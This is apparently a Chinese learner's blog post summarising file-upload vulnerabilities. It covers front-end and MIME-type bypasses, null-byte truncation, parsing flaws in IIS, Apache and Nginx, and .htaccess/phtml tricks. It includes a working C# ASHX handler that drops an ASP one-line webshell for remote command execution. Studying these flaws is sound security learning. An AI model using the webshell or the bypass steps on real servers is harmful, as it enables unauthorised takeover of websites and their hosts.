上传漏洞总结

前言: 这几天学了上传漏洞,真是涨姿势了,之前在web方面模糊的地方在这里得到了一些补充,为了加深印象,特地写一篇博客来记录一下。

视频来源:https://www.bilibili.com/video/av51024187?from=search&seid=8932804059051724310

0x01 概要说明

上传漏洞: 是很常见的一个漏洞,这个漏洞有时是服务器本身存在的漏洞,有时又是代码中某个函数本身存在的漏洞,hacker平时用这个漏洞来上传一句话木马,然后用菜刀或蚁剑连接,之后就能获得整个服务器的权限。

0x02上传流程

1、图片是否正常上传

2、图片上传内容是否被感染。(感染分两种,前端替换和后端替换)

3、上传的域名是否是目标服务器,如果不是那么判断图片服务器是否解析 php asp aspx jsp cfm shtml等(一般情况下默认是不会解析的)

4、上传的目录是否支持解析(php asp aspx jsp cfm shtml等)

5、判断是否黑白名单验证

0x03 文件上传黑白名单验证

白名单验证:
只能上传某某某文件

黑名单验证:
不能上传某某某文件

0x04 JS检测绕过

绕过js验证的方法有很多,比如抓包绕过或者通过一些插件修改js代码(例如火狐的firebug)等方式也可以绕过。

0x05 MIME类型绕过

常见的MIME类型
  超文本标记语言文本 .html,.html text/html
  普通文本 .txt text/plain
  RTF文本 .rtf application/rtf
  GIF图形 .gif image/gif
  JPEG图形 .jpeg,.jpg image/jpeg
  au声音文件 .au audio/basic
  MIDI音乐文件 mid,.midi audio/midi,audio/x-midi
  RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio
  MPEG文件 .mpg,.mpeg video/mpeg
  AVI文件 .avi video/x-msvideo
  GZIP文件 .gz application/x-gzip
  TAR文件 .tar application/x-tar

在上传时,mime类型会被记录在HTTP包的Conent-Type里面,然后上传到服务端PHP的$_FILES超全局变量里面,所以一般通过抓包修改Conent-Type后面的mime类型进行绕过。
上传漏洞总结_第1张图片

0x06 %00截断上传

我们先来了解一下什么是空字节,字符串中的%00(也就是空字节),会被服务器视作为结束符,也就是说当你在字符串中加入空字节就会被服务器提前结束该字符串,产生空字节漏洞的原因有两个,一是一些函数本身的漏洞,二是服务器的漏洞。
上传漏洞总结_第2张图片
第一种方法是把%00进行urldecode的操作,选中%00然后右击,/convert selection/URL/URL-decode
上传漏洞总结_第3张图片
第二种方法是在1.php后面打一个空格,别的字符也行主要是为了占位,然后再在hex里找到1.php后面的的那个字符的编码然后改成%00对应ascii码00
上传漏洞总结_第4张图片
当上传不上php文件时,可以试着上传.php3, .php4, .php5, .phtml 等可能会被解析成php文件,也可以使用服务解析漏洞等。

0x07 lIS解析漏洞

使用iis5.x-6.x版本的服务器,大多为Windows server2003,网站比较古老,开发语句一般为asp;改解析漏洞只能解析asp文件,而不能解析aspx文件。

目录解析(iis6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理:服务器默认把.asp , .asa目录下的文件都解析成asp文件。

文件解析
形式:www.xxx.com/xx.asp; .jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg会被解析成asp文件

解析文件类型
IIS6.0默认的可执行文件除了asp还包含着三种:asa文件, cer文件和cdx文件

0x08 apache解析漏洞

Apache解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如test.php.owf.rar , “.owf"和”.rar"这两种后缀是apache不可识别解析的,apache就会把test.php.owf.rar解析成test.php

其余配置问题导致漏洞
(1)如果在Apache的conf里有这样一行配置AddHandler php5-script.php这时只要文件名里包含.php即使文件名是test2.php.jpg也会以php来执行。

(2)如果在Apache的conf里有这样一行配置AddType application/x-httpd-php.jpg,即使拓展名是.jpg,一样能以php方式执行

0x09 nginx解析漏洞

Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。

当访问 www.xx.com/phpinfo.jpg/1.php 这个URL时,$fastcqi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造SCRIPT_FILENAME传递给PHPCGI。

如果此时PHP开启了fix_pathinfo选项,那么就会触发在PHP中的以下逻辑:PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg/1.php作为PHP文件来解析了。

漏洞形式:

www.xxx.com/uploadfiles/1.jpg/1.php
www.xxx.com/uploadfiles/1.jpg/.php

0x10 iis7.5解析漏洞

is7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

0x11 .net上传

一般支持aspx默认都会支持ashx

上传一个.ashx文件然后写入以下代码:

<%@ WebHander Language="C#"Class="Handler"%>

using System;
using System.Web;
using System.IO;
public class Hander : IHttpHandler{
public void ProcessRequest(HttpContext context){
context.Response.ContentType = "text/plain";

StreamWriter file1 = File.CreateText(context.Server.MapPath("root.asp"));
file1.Write("<%response.clear.execute request(\"root\"):response.End%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get{
return false;
}
}
}

然后访问该文件,就会生成一个root.asp的文件,内容为<%response.clear.execute request(“root”):response.End%>,然后就可以用工具进行连接了,当然也可以生成别的类型的文件,只需要更改代码中相应的部分
上传漏洞总结_第5张图片

0x12 phtml上传

在apache配置文件(一般是httpd.conf)里添加AddType application/x-httpd-php.phtml

这样phtml后缀的文件就会按照php去解析,也可以设置成其他后缀。

0x13 .htaccess上传

在当前目录中加入.htaccess文件并把以下代码写入其中,该目录下的.jpg文件都会被解析成.php文件


ForceType application/x-httpd-php
SetHandler application/x-httpd-php

总结: 目前小白知道的上传漏洞就这么点,应该还有很多漏洞是小白没有见过的,以上是小白对上传漏洞的理解,应该有偏差和不完整的地方,不过小白以后会努力完善的。

你可能感兴趣的:(上传漏洞总结)